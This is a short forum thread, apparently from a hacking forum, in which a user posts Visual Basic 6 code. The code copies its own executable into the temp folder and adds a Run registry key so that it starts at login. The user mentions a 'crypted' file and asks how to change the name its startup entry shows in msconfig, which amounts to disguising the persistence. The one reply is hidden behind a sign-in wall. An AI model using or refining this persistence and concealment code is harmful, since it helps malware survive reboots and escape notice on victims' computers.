MasterVb6 Posted January 18, 2015 Share Posted January 18, 2015 Hello, my code sub start Dim INSTPATH As String INSTPATH = Environ("temp") FileCopy App.Path & "\" & App.EXEName & ".exe", INSTPATH & "\151.exe" 'Registry Dim Wsh Set Wsh = CreateObject("WScript.shell") Wsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, INSTPATH & "\151" & ".exe", "REG_SZ" end sub when i start my crypted file name is always Product name in msconfig. how to change name that goes into msconfig Link to comment Share on other sites More sharing options...
0 MasterVb6 Posted January 18, 2015 Author Share Posted January 18, 2015 Re: startup problem i try everything but everytime show me this Link to comment Share on other sites More sharing options...
0 Er Kali Posted January 18, 2015 Share Posted January 18, 2015 Re: startup problem try with this code: This is the hidden content, please Sign In or Sign Up Link to comment Share on other sites More sharing options...
0 MasterVb6 Posted January 18, 2015 Author Share Posted January 18, 2015 Re: startup problem its not wkring its the same,work only when i delete "product name" in resource hacker Link to comment Share on other sites More sharing options...
Question
MasterVb6Hello,
my code
sub start
Dim INSTPATH As String
INSTPATH = Environ("temp")
FileCopy App.Path & "\" & App.EXEName & ".exe", INSTPATH & "\151.exe"
'Registry
Dim Wsh
Set Wsh = CreateObject("WScript.shell")
Wsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, INSTPATH & "\151" & ".exe", "REG_SZ"
end sub
when i start my crypted file name is always Product name in msconfig.
how to change name that goes into msconfig
Link to comment
Share on other sites
2 answers to this question
Recommended Posts